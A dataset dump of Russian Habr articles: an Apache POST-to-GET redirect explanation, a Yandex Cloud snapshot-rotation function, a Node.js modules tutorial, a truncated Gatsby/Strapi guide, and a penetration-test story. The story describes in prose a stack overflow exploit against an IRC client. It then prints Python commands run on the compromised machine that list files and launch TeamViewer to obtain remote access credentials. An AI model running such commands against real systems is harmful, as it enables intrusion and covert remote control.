text stringlengths 20 1.01M | url stringlengths 14 1.25k | dump stringlengths 9 15 ⌀ | lang stringclasses 4
values | source stringclasses 4
values |
|---|---|---|---|---|
# Почему POST превращается в GET
Долго пытался понять, почему следующий код при нажатии на кнопку дает запрос методом GET, хотя явно указан POST.
> `<html>
>
> <head>
>
> head>
>
> <body>
>
> <form method="POST" action="http://myhost/mydir">
>
> <input type="submit" value="→" />
>
> form>
>
> </font echo $\_SERVER['REQUEST\_METHOD'] ?>
>
> body>
>
> html>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Оказывается, Апач при POST-запросе на URL папки без конечного слеша, перенаправляет на URL со слешем и при этом запрос трансформируется в GET. Если же слеш поставить, то эффект пропадает.
Вывод: В action формы ставьте всегда слеш в конце URL папки, а лучше используйте URL файла.
**UPD**: Как подсказывает [Nikita](https://geektimes.ru/users/nikita/), эта особенность (перенаправление на URL с слешем в конце) управляется в apache 2.2 директивой DirectorySlash, она по умолчанию включена и отключать ее не рекомендуют.
**UPD2**: Получается такая схема
1. Мы посылаем POST на mysite/mydir
2. Сервер отвечает нам 301 на mysite/mydir/ (почему это правильно, описано в [документации к Апачу](http://httpd.apache.org/docs/2.0/mod/mod_dir.html#directoryslash))
3. Браузер делает GET без параметров на mysite/mydir/ (так и надо делать, это описано в RFC 2616)
В итоге мы вместо нашего POST с параметрами получаем GET без параметров. Все логично, но несколько неожиданно. | https://habr.com/ru/post/55403/ | null | ru | null |
# Автоматический backup дисков в Yandex Cloud (с удалением старых версий)
Главная кнопкаЧто-то надоело мне вручную делать бэкапы одного проекта, и я отогнав лень, и собрав волю в кулак, решил таки автоматизировать это дело.
За основу я использовал вот эту [оригинальную статью из блога Yandex](https://cloud.yandex.ru/blog/posts/2020/01/snapshot-triggers) - просмотрите её сначала, чтобы понимать о чем идет речь ниже. (как заметил в комментарии автор этой статьи [Николай Матросов](https://habr.com/ru/users/nik_the_spirit/), оригинальная статья была написана для Medium и находится [здесь](https://nikolaymatrosov.medium.com/yandex-cloud-cron-snapshot-bdee54c87541) с некоторыми дополнениями).
Но так, как мне было лень заморачиваться с зипованием архива, как описано в статье, то я просто скопипастил скрипт в редактор скриптов:
Не забудьте еще создать файл `package.json` примерно такого содержания:
```
{
"name": "snappy-yc",
"version": "1.0.0",
"description": "",
"main": "index.js",
"author": "bogdoslavik",
"license": "ISC",
"dependencies": {
"yandex-cloud": "^1.3.3"
}
}
```
Тут важна версия `"yandex-cloud": "^1.3.3"` для Node.js 12.
*Upd: Как подсказали в комментариях, сейчас практически уже вышла новая версия v2 SDK поддерживающая все функции облака, и если вы планируете расширять функционал скрипта, то посмотрите в ее сторону, но придется немного переписать скрипт, так как версии не полностью совместимы.*
Протестировав скрипт, я убедился что он работает, и создал триггер для запуска этой функции по расписанию.
Но! Моя ленивая натура понимала, что мне всё еще вручную придется удалять старые снапшоты: новые создаваться не будут после привышения квоты на общий размер снапшотов или их количества.
Поэтому я, повторно взял волю в кулак, и решил довести святое бэкап-дело до конца.
Не вдаваясь в подробности про небольшую возню с `created_at` снапшота, который хранится в волшебном формате [google.protobuf.Timestamp](https://developers.google.com/protocol-buffers/docs/reference/google.protobuf#timestamp) родился вот такой простой скрипт:
```
const ycsdk = require("yandex-cloud/api/compute/v1");
const FOLDER_ID = process.env.FOLDER_ID;
const MAX_DAYS = process.env.MAX_DAYS;
async function handler(event, context) {
const snapshotService = new ycsdk.SnapshotService();
const diskService = new ycsdk.DiskService();
const diskList = await diskService.list({
folderId: FOLDER_ID,
});
console.log('Removing old snapshots');
const {snapshots} = await snapshotService.list({folderId: FOLDER_ID});
for ( let i in snapshots ) {
const snapshot = snapshots[i];
const createdMin = Date.now() / 1000 - (60 * 60 * 24 * MAX_DAYS);
if ( snapshot && snapshot.createdAt &&
snapshot.createdAt.seconds.low < createdMin ) {
snapshotService.delete({snapshotId: snapshot.id});
}
}
console.log('Iterating disks');
for (const disk of diskList.disks) {
console.log('disk.id',disk.id, 'name:', disk.name);
if ('snapshot' in disk.labels) {
snapshotService.create({
folderId: FOLDER_ID,
diskId: disk.id,
description: disk.name
});
console.log('Creating snapshot');
}
}
return {body: 'OK' }
}
exports.handler = handler;
```
Перфекционисты могут почикать console.log :)
Остается только добавить переменную окружения для скрипта MAX\_DAYS - сколько дней хранить снапшоты.
Добавляем переменную MAX\_DAYS в редакторе скрипта функции.Уверен, кому-то это сэкономит пару часов драгоценного времени.
Всем благ и надежных бакапов! | https://habr.com/ru/post/645719/ | null | ru | null |
# Управление зависимостями в Node.js
Управление зависимостями — это часть повседневной работы Node.js-программиста. Сегодня мы поговорим о разных подходах к работе с зависимостями в Node.js, и о том, как система загружает и обрабатывает зависимости.
Писать Node.js-приложения можно так, чтобы абсолютно весь код, обеспечивающий их функционирование, находился бы в одном .js-файле. Но при такой организации кода не используется модульный подход, когда фрагменты кода оформляют в виде отдельных файлов. Node.js даёт нам чрезвычайно простые механизмы для написания модульного кода.
[](https://habr.com/ru/company/ruvds/blog/557668/)
Прежде чем мы перейдём к разговору об управлении зависимостями, поговорим о модулях. Что это такое? Зачем разработчику задумываться о неких «фрагментах кода», вместо того, чтобы просто писать весь код в одном файле?
Если говорить по-простому, то модуль — это код, собранный в одном файле для того, чтобы им было удобнее обмениваться с другими программистами и многократно использовать. Модули, в результате, позволяют нам разбивать сложные приложения на небольшие фрагменты. Это помогает улучшить понятность кода, упрощает поиск ошибок. Подробности о системах работы с модулями, применяемых в JavaScript-проектах, можно почитать [здесь](https://hexquote.com/javascript-module-system/).
Node.js поддерживает разные способы работы с модулями. В частности, одна из них, основанная на CommonJS, предусматривает применение ключевого слова `require`. При её использовании, перед тем, как некий функционал окажется доступным в программе, у платформы нужно затребовать подключение этого функционала.
Я исхожу из предположения о том, что вы уже владеете основами Node.js. Если нужно — можете, прежде чем продолжать читать этот материал, посмотреть мою [статью](https://dzone.com/articles/nodejs-introduction), посвящённую основам Node.js.
Подготовка приложения и эксперименты по экспорту и импорту
----------------------------------------------------------
Начнём с простых вещей. Я создал директорию для проекта и, используя команду `npm init`, инициализировал проект. Затем я создал два JavaScript-файла: `app.js` и `appMsgs.js`. Ниже показан внешний вид структуры проекта в VS Code. Этот проект мы будем использовать в роли отправной точки наших экспериментов. Вы можете, прорабатывая этот материал, делать всё сами, а можете упростить себе работу, воспользовавшись готовым кодом. Его можно найти в репозитории, ссылку на который я приведу в конце статьи.
*Структура базового проекта*
В данный момент оба .js-файла пусты. Внесём в файл `appMsgs.js` следующий код:
*Экспорт значений простых типов и объектов в appMsgs.js*
Тут можно видеть конструкцию `module.exports`. Она используется для того, чтобы вывести во внешний мир некие сущности, описанные в файле (они могут быть представлены простыми типами, объектами, функциями), которыми потом можно воспользоваться в других файлах. В нашем случае мы кое-что экспортируем из файла `appMsgs.js`, а пользоваться этим собираемся в `app.js`.
В `app.js` воспользоваться тем, что экспортировано из `appMsgs.js`, можно, прибегнув к команде `require`:
*Импорт модуля appMsgs.js в app.js*
Система, выполнив команду `require`, вернёт объект, который будет представлять обособленный фрагмент кода, описанный в файле `appMsgs.js`. Мы назначаем этот объект переменной `appMsgs`, а затем просто пользуемся свойствами этого объекта в вызовах `console.log`. Ниже показан результат выполнения кода `app.js`.
*Выполнение app.js*
Команда `require` выполняет код файла `appMsgs.js` и конструирует объект, дающий нам доступ к функционалу, экспортируемому файлом `appMsgs.js`.
Это может быть функция-конструктор или обычная функция, это может быть объект с какими-то свойствами и методами или набор значений простых типов. Есть разные подходы к организации экспорта.
В результате оказывается, что мы, пользуясь конструкциями `require` и `module.exports`, можем создавать модульные приложения.
При импорте модуля код этого модуля загружается и выполняется лишь один раз. Повторно этот код не выполняется. Получается, что если попытаться, повторно воспользовавшись `require`, подключить к файлу модуль, который уже был к нему подключён, код этого модуля ещё раз выполняться не будет, `require` вернёт кешированную версию соответствующего объекта.
Выше мы рассматривали экспорт объектов и значений простых типов. Посмотрим теперь на то, как экспортировать функции и как потом этими функциями пользоваться. Уберём из `appMsgs.js` старый код и введём в него следующее:
*Экспорт функции из appMsgs.js*
Теперь мы экспортируем из `appMsgs.js` функцию. Код этой функции выполняется каждый раз, когда код, импортировавший её, её вызывает.
Попробуем воспользоваться этой функцией в `app.js`, приведя код этого файла к следующему виду:
*Использование импортированной функции в app.js*
Тут мы пользуемся тем, что, после экспорта, попадает в переменную `appMsgs`, как функцией. В результате оказывается, что каждый раз, когда мы вызываем импортированную функцию, её код выполняется.
Вот результат запуска этого кода:
*Выполнение app.js*
Мы рассмотрели два подхода к использованию `module.exports`. Ещё одним способом применения `module.exports` является экспорт функций-конструкторов, используемых, с ключевым словом `new`, для создания объектов. Рассмотрим пример:
*Экспорт функции-конструктора из appMsgs.js*
А вот — обновлённый код `app.js`, в котором используется импортированная функция-конструктор:
*Использование в app.js функции-конструктора, импортированной из appMsgs.js*
Тут всё, в целом, выглядит так же, как если бы мы создали функцию-конструктор в коде, а потом воспользовались бы ей.
Вот что получится, если выполнить новый вариант `app.js`:
*Выполнение app.js*
Я добавил в проект файл `userRepo.js` и внёс в него следующий код:
*Файл userRepo.js*
Вот — файл `app.js`, в котором используется то, что экспортировано из `userRepo.js`:
*Использование в app.js того, что экспортировано из userRepo.js*
Запустим `app.js`:
*Выполнение app.js*
Команду `require` достаточно часто используют для подключения к файлам с кодом других файлов, но существует и другой подход к использованию `require`, предусматривающий импорт в файлы директорий, содержащих особым образом оформленные файлы.
Импорт директорий
-----------------
Давайте ненадолго вернёмся к тому, о чём мы уже говорили. Вспомним о том, как `require` используется для импорта зависимостей:
```
var appMsgs = require("./appMsgs")
```
Node.js, выполняя эту команду, будет искать файл `appMsgs.js`, но систему будет интересовать и директория `appMsgs`. То, что она найдёт первым, она и импортирует.
Теперь давайте посмотрим на код, в котором используется эта возможность.
Я создал папку `logger`, а в ней — файл `index.js`. В этот файл я поместил следующий код:
*Код файла index.js из папки logger*
А вот — файл `app.js`, в котором команда `require` используется для импорта этого модуля:
*Файл app.js, в котором require передаётся не имя файла, а имя папки*
В данном случае можно было бы воспользоваться такой командой:
```
var logger = require("./logger/index.js")
```
Эта — совершенно правильная конструкция, она позволила бы нам импортировать в код нужный модуль. Но вместо этого мы пользуемся такой командой:
```
var logger = require("./logger")
```
Так как система не может обнаружить файл `logger.js`, она ищет соответствующую папку. По умолчанию импортируется файл `index.js`, являющейся точкой входа в модуль. Именно поэтому я и дал .js-файлу, находящемуся в папке, имя `index.js`.
Попробуем теперь выполнить код `app.js`:
*Выполнение app.js*
Тут у вас может появиться мысль о том, зачем усложнять себе жизнь, создавая, вместо единственного файла, папку и файл, расположенный в ней.
Причина в том, что при таком подходе можно собрать в одной папке файлы-зависимости того модуля, который нужен в нашем коде. У этих зависимостей могут быть и собственные зависимости. В результате получится довольно сложная конструкция, о которой не нужно знать тому коду, который нуждается лишь в том функционале, который даёт ему модуль. В нашем случае речь идёт о модуле `logger`.
Это — разновидность инкапсуляции. Получается, что, разрабатывая достаточно сложные модули, мы можем разбивать их на части, расположенные в нескольких файлах. А код, являющийся потребителем модуля, имеет дело лишь с единственным файлом. Это говорит о том, что применение папок — это хороший способ управления подобными зависимостями.
Npm
---
Мы кратко поговорим и о ещё одном аспекте работы с зависимостями в Node.js. Это — npm (Node Package Manager, менеджер пакетов Node.js). Вы, вероятно, уже знакомы с npm. Если кратко описать его суть, то окажется, что он даёт разработчикам простой механизм для включения в их проекты необходимого им функционала, оформленного в виде npm-пакетов.
Установить нужную зависимость с помощью npm (в данном случае — библиотеку `underscore`) можно так:
```
npm install underscore
```
Потом эту библиотеку можно подключить в коде с помощью `require`:
*Импорт библиотеки, установленной с помощью npm*
На предыдущем рисунке показан процесс работы с тем, что оказалось в нашем распоряжении после импорта пакета `underscore`. Обратите внимание на то, что при импорте этого модуля путь к файлу не указывают. Используют лишь имя модуля. Node.js загружает его из папки `node_modules`, находящейся в директории приложения.
*Пример использования underscore в app.js*
Выполним этот код.
*Выполнение app.js*
Итоги
-----
Мы поговорили о работе с зависимостями в Node.js, рассмотрели несколько распространённых приёмов написания модульного кода. [Вот](https://github.com/jawadhasan/nodedependency) репозиторий, в котором можно найти приложение, с которым мы экспериментировали.
Применяете ли вы модульный подход при работе над своими Node.js-проектами?
[](https://ruvds.com/news/read/142?utm_source=habr&utm_medium=article&utm_campaign=perevod&utm_content=upravlenie_zavisimostyami_v_node_)
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=article&utm_campaign=perevod&utm_content=upravlenie_zavisimostyami_v_node_) | https://habr.com/ru/post/557668/ | null | ru | null |
# Двойка вам, или аудит со взломом
*Как всегда без имен и названий, и так как я дополнительно связан подписью о неразглашении, еще и с немного видоизменённой историей (и опуская некоторые подробности, на публикацию которых я не получил разрешения).
Ниже следует реальная история проникновения на компьютер сотрудника… ну скажем некоторого частного банка. События, о которых повествует ваш покорный слуга, происходили в некоторой европейской стране не так что бы давно, еще до DSGVO (GDPR, RGPD) но в процессе становления оного, в преддверии так сказать.*
Собственно началось всё с аудита безопасности — ..., интервью, разглядывания под лупой всего и вся, поиском и проработкой потенциальных лазеек и узких мест на пролезть (как туда, так и оттуда), ..., и собственно разбора полётов. На котором заказчик получил в итоге неутешительный для него вывод — "троечка с натяжкой".
Опустим слова, которые пришлось выслушать от краснеющих на глазах IT-безопасников, но общий лирический посыл таков — я бросаюсь голословными обвинениями, а у них — всё на замке, а ключ у CSO в кармане под сердцем.
Попытки объяснить, что система безопасности выстроенная вокруг firewall+proxy+webwasher like content-filter & antivirus, без какой-либо худо-бедно настроенной гибридной IDS (HIDS+APIDS), хонепотов и т.д. и т.п., во первых по определению не является безопасной, во вторых я же как бы показал уже несколько мест, где оно как минимум не комильфо. Попытки вернуться к конструктивному диалогу (собственно обратно к разбору) разбивались о трехэтажную стену обиды, выстроенную всем отделом.
Свернув совещание и отпустив сотрудников, CSO вкупе с двумя важными начальниками попытался всё-таки честно выяснить у меня где собака порылась и понять ~~как дальше жить~~ как собственно и что конкретно, по моему скромному мнению, нужно делать.
Т.к. проблеска понимания в дальнейшем тоже не наблюдалось, с воодушевлением встретил предложение показать на практике. После объяснения что де прямо сейчас ну никак не получится, улаживания формальностей (подписывания еще нескольких бумаг и т.п.) я получил добро на "взлом".
Замечание о том, что работать "вслепую" не очень люблю (муторно, долго и дорого, да и пентестинг, то дело такое — на удачу) и просьба предоставить поэтому некоторую дополнительную информацию (например некоторые личные данные отдельных сотрудников, как то разрабов и безопасников), встречного понимания не встретила тоже.
Ты хакер или нет?! ~~(вообще-то нет, я разраб, а то — больше хобби).~~
Я не буду долго останавливаться на дальнейшей дискуссии — убедил как всегда фактор деньги и время (т.е. собственно те же деньги).
Т.е. в результате имеем какое-никакое знание о структуре защиты компании (полученное в результате предварительного аудита), а также ФИО и краткую биографию 4-х администраторов и 3-х разработчиков.
Почему собственно админы и разрабы, ведь можно же было спросить за "девочек-бухгалтеров", отправить им какого-нибудь "котика" с приложенным каким-нибудь гораздо менее безопасным зверьком в придачу (или провернуть что-нибудь подобное из соц-инженерной области). Но…
Однако очень многие компании как правило не очень любят когда им на презентации PoC начнут за такое рассказывать, т.е. "система взлома" базирующаяся на происках из области соц-инженерии как минимум не приветствуется, как бы гениально она не была бы построена.
Возвращаясь же к технарям, они во первых не менее "социальны" (что совсем не значит, что они запустят какого-либо "котика", но пока важен сам факт), во вторых как правило обладают более "развитым" в функциональном плане компьютером (чего там только не встретишь). И что более интересно, кроме того нередко имеют какие-нибудь "привилегии" в отличии от той же девочки бухгалтера, т.е. могут либо быть менее ущемлены в правах в плане безопасности и системных ограничений (типа policies и ко — надо же например как-то запускать только что скомпилированный exe-шник) и/или могут сами пролазить через "стену", построенную безопасниками (например пробросив туннель через прокси) и т.д. и т.п.
Опять же пролезть сквозь защиту, используя при этом комп программиста или админа, звучит уже совершенно по другому, чем например "заставив" запустить троян бухгалтера.
Т.е. исходные получены, задачи озвучены — поехали...
Первым делом сбор информации о "клиентах" — кто, что, где, когда.
Тут не буду сильно отвлекаться, статья не совсем об этом, поэтому просто скажу — остановился на довольно социальном пареньке, с фасебуками и ко, в том числе собственным youtube-каналом (ютубой, Вася!), несколькими опенсорсными проектами (как в группе, так и собственными) и просто гигантской contribution activity ~~(спрашивается а он вообще на основном месте работает)~~.
Выяснить ху-из-ху на сегодняшний день вообще как правило не проблема (где-то попользовал настоящее имя в месте с ником, где-то светанул IP адресом прокси с фирмы и картинка сложилась), да никто особо и не скрывается.
Затормозить же на нем меня заставило в том числе и ~~моё природное чутьё~~ тот факт, что в одной из коммьюнити наш герой занимался более-менее активной поддержкой в чате, причём используя IRC-клиента, который в user-info предоставлял помимо IP, откуда ноги растут, еще и название и версию себя любимого, ну и оное славилось багами/дырами и по умолчанию было обёрнуто плагинами почём зря.
Ну и как водится, как-то вечером, ~~домашние уснули, по ящику одна муть, наши опять проигрывают:)~~ я в том самом чате обнаружил знакомый ник, как активного пользователя с коннектом длиннее 12 часов (судя по логу с промежуточными отключениями/пере-подключениями, ибо корпоративный прокси такая штука, но уже более полдня с момента первого соединения), с нужного мне IP адреса т.е. с "логином" вида `max.mustermann@proxyext.our-company.example.com`.
Т. е. либо у нашего клиента день — 24 часа, либо что более вероятно (ибо с момента его последнего сообщения прошло уже 2 часа) он просто не выключил рабочий компьютер и оставил IRC-клиент активным.
А может он и усыпил компьютер, но (тут снова ошибка безопасников или админов) бывает что последний просыпается сам, например чтобы накатить обновления для винды (и после 4-х часовой паузы перезагрузиться) или просто тупо словив wake-on-lan сигнал...
Как бы то ни было, у меня было некоторое количество времени, чтобы потрепать компьютер, вернее IRC-клиент нашей "жертвы".
Не найдя ни одной известной дыры в этой конкретной (кстати актуальной на тот момент) версии IRC-клиента, вооружившись идой, ollydbg и т.п. и поглядывая в исходники (тихий ужас, Вася!) начал искать какую-нибудь уязвимость, дающую возможность как минимум исполнить там чего либо, с прицелом на как максимум удаленно контролировать IRC-клиента (а мы помним про плагины).
И оно нашлось таки, даже относительно быстро!
Перехватить контроль позволило наличии небезопасного вызова `sprintf` на буфер из стека с `%s` внутри от плохо-отфильтрованного foreign-input (в совокупности с инжектом по encoding), позволяющее записать в стек в нужное место "загрузчик кода эксплойта" (спасибо разрабам клиента за код, Microsoft за lowland stack и удачному стечению обстоятельств).
Хотя помучится всё-таки пришлось — т.к. имеем DEP, исполнять напрямую из стека нельзя, нужно записать в стек копию "программного кода" для исполнения, найти `memcpy` вызов с `ret` в конце, чтобы скопировать в нужное место (переписать мало используемый класс), перенаправить выход из нескольких процедур в нужное место, перезаписать несколько значений VTABLE, чтобы по вызову следующего виртуального метода сгенерировать событие, вызывающее в результате некоторый питоний код в качестве плагина (да и поменять этот питон-код на свой, как загрузчик из сломанных сообщений, чтобы уже собрать готовый эксплойт-тулкит).
Ах да, еще нужно было собрать у себя плагин (снова спасибо разрабам клиента за такой щедрый функционал), в качестве прокси, меняющее сообщения налету (добавляющее обёртку для инициации инъекции, ломающее ему encoding, при этом вставляя неполные суррогаты в нужном месте, и т.д.), закодировать инициальный загрузчик сообщения-инъекции, и т.п.
Кроме того, пришлось собрать небольшой питоний скрипт в виде нового плагина-клиента для целевой системы в качестве эмулятора консоли (принимающий мои сообщения в его stdin, и отправляющих stdout+stderr приватным сообщением обратно на мой ник).
Собрав это всё на коленке, запустил у себя тот IRC-клиент, чтобы попробовать себя в качестве жертвы, т.е. увидеть как оно будет в полном, готовом виде.
И отправив через свой плагин из другой сессии из второй запущенной версии приложения, несколько приватных сообщений-инъекций, обрадовано увидел ответом привычное питонье приветствие `>>>` (который я в эмуляторе воткнул, для наглядности — питон же).
Довольный как слон (отметив что атакуемое приложение не упало), увидел что творится в его окне вывода сообщений — оно пестрело различными non-ascii символами, самым заметным из которых был `` с порядковым номером 90h (что как минимум не комильфо, а то и выдаёт с головой попытку взлома), подумал что нужно таки переделать загрузчик, чтобы маскировать следующие сообщения (вдруг он всё-таки еще работает и заметит).
Заглянул в код, а там на выдаче ждут NTS-строчку, решил сильно не заморачиваться и тупо переписать первый байт сообщения после загрузки нулём (с надеждой что выдача на экран сообщения будет по событию немного позже).
Повторив весь процесс, и дождавшись желанного `>>>` снова взглянул в другое окно и не обнаружив там ничего лишнего в чате ~~(я всё-таки гений)~~, решил продолжить тест.
Следом улетело сообщение `from glob import glob as ls; ls('*')` и я радостно увидел ответом список из папок и файлов, содержащихся в папке приложения.
Правда я увидел это же сообщение в окне атакующего клиента как отправленное на мой ник. Пришлось также и тут положить 0-байт (NTS) в начало строчки после отправки его мне.
Закончив тем самым с подготовительной фазой, отметил что наш подопытный товарищ всё еще в чате (без сообщений, Вася!), приготовил эксплойт уже для нашего кандидата.
#### Поехали...
Сообщения-инъекции ушли… И через несколько долгих секунд (видимо диск спал или прокси тупил) я вновь увидел приглашающий `>>>`.
Как я прыгал по комнате, я тут всё же не буду рассказывать (то зрелище не для слабонервных, ибо в результате неконтролируемого процесса проявления радости, я таки засандалил мизинцем ноги о ножку стула).
Скривившись от боли и тут же подумав "а вдруг у него в окне отдачи чего-нибудь не то видно, вдруг я где-нибудь всё-таки напортачил и приложение в результате упадёт через время", вспомнил про возможный принудительный рестарт после update (если вдруг компьютер от того проснулся и уже накатили update), в холодном поту (поглядывая на опухающий мизинец и уняв дрожь в руках) я ускорился.
Первым делом проверка на всякий случай а там ли мы вообще.
```
>>>
import os; os.environ['userdomain']
```
и ответ:
```
'OUR-COMPANY'
>>>
```
Ну всё, руки развязаны… Поехали.
Проверив небольшим скриптом, что logonui залочен, уже чуть успокоившись, решил посмотреть что на компьютере вообще в наличии:
```
>>>
from glob import glob as ls; ls(r'C:\Program Files\*')
```
а в ответе, не веря своей удаче, среди много всего интересного увидел следующее:
```
[...,'C:\\Program Files\\TeamViewer',...]
>>>
```
Т.е. уже не нужно совершать лишние телодвижения — не надо ничего качать, компилить и искать папку куда можно записать это всё без нарушения каких-нибудь полиси.
А следом тем временем полетело:
```
>>>
import subprocess; subprocess.call([r'C:\Program Files\TeamViewer\TeamViewer.exe'])
```
ну и после вернувшегося ответа:
```
0
>>>
```
Подождав немного, чтобы TeamViewer успел пробраться через proxy и сервер выдал ему ID (с паролем), я запустил туда скрипт, ищущий окошко TeamViewer, снимающий с него screenshot и посылающий его обратно мне в виде base64-строчки, в которой, развернув её обратно в bitmap, я с удовлетворением нашел и ID и пароль для соединения.
...
Наутро мне уже звонил удивлённый CSO, получивший сначала письмо от меня (но почему-то пришедшее с внутреннего Exchange аккаунта своего сотрудника), а затем испуганный звонок от того же сотрудника со словами "Шеф, усё пропало — нас поломали", обнаружившего утром открытое окошко Word'а с крупным текстом внутри "Двойка вам по безопасности. Вас взломали!", дата, подпись.
После этого общение с безопасниками проходило уже более плодотворно, без брызг слюны, разрывания рубах и криков. Наученный горьким опытом ([например как описано в этой статье](/post/258513/)), я как мог, пытался отложить разбор собственно взлома на попозже (ибо сначала хотелось получить денежный заказ на новый "концепт" безопасности), но после длительных уговоров, намёков на долгосрочное сотрудничество и т.п., а также обещаний с их стороны "не трогать" оплошавшего сотрудника (коллега всё-таки), пришлось им выложить почти все основные моменты.
Обговорённый баунти за взлом (как и стоимость предварительного аудита) я тогда получил полностью, но дальше контора повела себя… скажем, не совсем спортивно. Для продолжения концерта, они наняли видную и известную аудиторскую фирму, которая принципиально отказывалась работать с external в моем лице.
Ну и ладно, как говорят в Германии "Man sieht sich immer zweimal im Leben", что значит "Обязательно встретимся еще раз". | https://habr.com/ru/post/416767/ | null | ru | null |
# Разработка статического блога на Gatsby и Strapi
Статические веб-сайты содержат страницы с неизменным содержимым. Технически — это набор HTML-файлов, которые, для каждого посетителя сайта, выглядят одинаково. В отличие от динамических веб-сайтов, для разработки таких сайтов не нужно серверное программирование или базы данных. Публикация статического веб-сайта проста: файлы выгружают на обыкновенный веб-сервер или в некое хранилище. Два основных преимущества статических веб-сайтов — это безопасность и скорость. Тут нет базы данных, поэтому отсюда нечего красть, и тут нет нужды программно генерировать страницу для каждого запроса, что ускоряет работу.
Для того чтобы упростить создание статических веб-сайтов, создано множество опенсорсных инструментов. Например, это [Jekyll](https://jekyllrb.com/), [Hugo](https://gohugo.io/), [Hexo](https://hexo.io/), и другие. Работа по подготовке содержимого сайта ведётся путём редактирования чего-то вроде файлов с разметкой, или через некое API для управления контентом. После того, как данные готовы к публикации, генератор берёт эти данные, внедряет их в шаблоны и создаёт множество HTML-файлов, готовых для публикации.
[](https://habrahabr.ru/company/ruvds/blog/348068/)
Сегодня мы расскажем о быстрой разработке проектов с помощью Gatsby — генератора статических прогрессивных веб-приложений, и Strapi — системы управления контентом. В результате после того, как вы освоите это руководство, у вас будет работающий статический блог и масса идей, касающихся его развития.
Статические веб-сайты и прогрессивные веб-приложения
----------------------------------------------------
Полагаем, прежде чем продолжать, стоит сказать пару слов о прогрессивных веб-приложениях (Progressive Web Apps, PWA). Это — веб-приложения, интенсивно использующие JavaScript, которые отличаются [надёжностью, быстротой и привлекательным внешним видом](https://developers.google.com/web/progressive-web-apps/). PWA, благодаря обеспечиваемой ими скорости работы со страницами, и тому, что пользователям удобно с ними взаимодействовать, стали стандартным способом построения веб-интерфейсов. В результате появилось множество фронтенд-фреймворков, таких, как Angular, Vue, и React.
Мы, зная о плюсах статических веб-сайтов и PWA, задались идеей найти способ использовать одновременно и то и другое. Инструмент, который это позволяет, называется Gatsby.
Что такое Gatsby?
-----------------
[Gatsby](https://www.gatsbyjs.org/) — это невероятно быстрый фреймворк для разработки веб-сайтов на React. Он позволяет создавать сайты, основанные на React буквально за считанные минуты. Gatsby подходит для проектов разных масштабов — от блогов до корпоративных веб-сайтов.
Так как проекты, созданные с помощью Gatsby, основаны на React, их страницы, при взаимодействии с ними пользователя, не перезагружаются, что делает такие проекты очень быстрыми. Gatsby поддерживает большой набор плагинов, которые позволяют, в частности, использовать данные из различных источников (это, например, markdown-файлы, различные системы управления контентом, и так далее). Центром системы данных Gatsby является [интерфейс «узлов»](https://www.gatsbyjs.org/docs/node-interface/), которые используются для моделирования данных, поступающих в Gatsby.
Этот проект создал [Кайл Мэтьюз](https://twitter.com/kylemathews), он официально [выпущен в июле 2017-го](https://www.gatsbyjs.org/blog/gatsby-v1/) и уже используется [десятками компаний](https://github.com/gatsbyjs/gatsby#showcase).
Как уже стало понятно, Gatsby, для того, чтобы он мог генерировать HTML-файлы, нужно откуда-то брать данные для них. В нашем случае источником данных будет Strapi.
Что такое Strapi?
-----------------
[Strapi](https://strapi.io/) — это фреймворк для управления контентом, основанный на Node.js. Он позволяет быстро разрабатывать API для работы с данными и занимает [промежуточное положение](https://strapi.io/overview) между фреймворком для Node.js и CMS без пользовательского интерфейса. Strapi позволяет разрабатывать API очень быстро, что экономит время.
Strapi имеет расширяемую систему плагинов, он отличается большим набором встроенных возможностей. Среди них — панель администратора, система управления аутентификацией и разрешениями, средства управления контентом, генератор API и так далее.
Strapi — это опенсорсный проект, что выгодно отличает его от других CMS. В частности, это означает, что, во-первых, он полностью бесплатен, а во-вторых — то, что компания, выбравшая Strapi, разворачивает CMS на собственных серверах, то есть данные компании остаются под её полным контролем. Кроме того, Strapi можно настраивать и расширять благодаря системе плагинов.
Описав наши инструменты, приступим к разработке статического блога.
Настройка API с помощью Strapi
------------------------------
Воспользуемся возможностями Strapi для разработки API и добавим в систему данные, которые позже превратятся в страницы блога.
### ▍Установка Strapi
Для работы Strapi нужны [Node 8](https://nodejs.org/en/download/) (или выше) и [MongoDB](https://docs.mongodb.com/manual/installation/). Если в вашей системе всё это имеется, можно приступать к установке Strapi с использованием npm:
```
$ npm i strapi@alpha -g
```
Обратите внимание на то, что Strapi v3 всё ещё находится на стадии альфа-версии, но нам это подойдёт.
### ▍Создание проекта Strapi
Создадим директорию `gatsby-strapi-tutorial`:
```
$ mkdir gatsby-strapi-tutorial
```
Создадим каркас API внутри этой директории, для чего сначала перейдём в эту директорию, а потом выполним там соответствующую команду Strapi:
```
$ cd gatsby-strapi-tutorial
$ strapi new api
```
### ▍Запуск сервера
Для запуска сервера Strapi сначала перейдём в соответствующую подпапку директории проекта:
```
$ cd api
```
Затем запустим сервер, основанный на Node.js:
```
$ strapi start
```
Теперь, если всё сделано правильно, можно будет посетить панель администрирования проекта, которая расположена по адресу <http://localhost:1337/admin>.
### ▍Создание первого пользователя
Добавим первого пользователя со [страницы регистрации](http://localhost:1337/admin/plugins/users-permissions/auth/register).
### ▍Создание типа контента
API Strapi основано на структурах данных, которые называются типами контента (Content Type). Это — эквивалент моделей во фреймворках и типов контента в WordPress.
Создадим тип контента с именем `article` и с тремя полями: `title` (тип `string`), `content` (тип `text`), и `author` (тип `relation`, у одного автора может быть несколько статей).
### ▍Добавление материалов статей
Добавим в базу данных несколько статей. Для того чтобы создать статью, выполните следующую последовательность действий:
1. Посетите [страницу списка статей](http://localhost:1337/admin/plugins/content-type-builder/models/article).
2. Щёлкните `Add New Article`.
3. Введите данные, ссылку на автора, и отправьте форму.
Создайте, пользуясь тем же подходом, ещё две статьи.
### ▍Настройка доступа
Из соображений безопасности [доступ к API](http://localhost:1337/article), по умолчанию, ограничен. Для того чтобы открыть доступ, посетите [раздел аутентификации и разрешений](http://localhost:1337/admin/plugins/users-permissions/roles/edit/1) для роли `Guest`, выберите действие `Article - find` и сохраните изменения. С этого момента у вас должна появиться возможность запрашивать [список статей](http://localhost:1337/article).
Доступ к [API автора](http://localhost:1337/article) так же ограничен. Разрешите анонимный доступ, выбрав действие `find` (в разделе `Users & Permissions`) и сохранив изменения.
Разработка статического веб-сайта
---------------------------------
Теперь, когда API готово, можно приступать к разработке статического веб-сайта.
### ▍Установка Gatsby и создание проекта
Установим Gatsby CLI следующей командой:
```
$ npm install --global gatsby-cli
```
В ранее созданной папке `gatsby-strapi-tutorial` создадим новый блог:
```
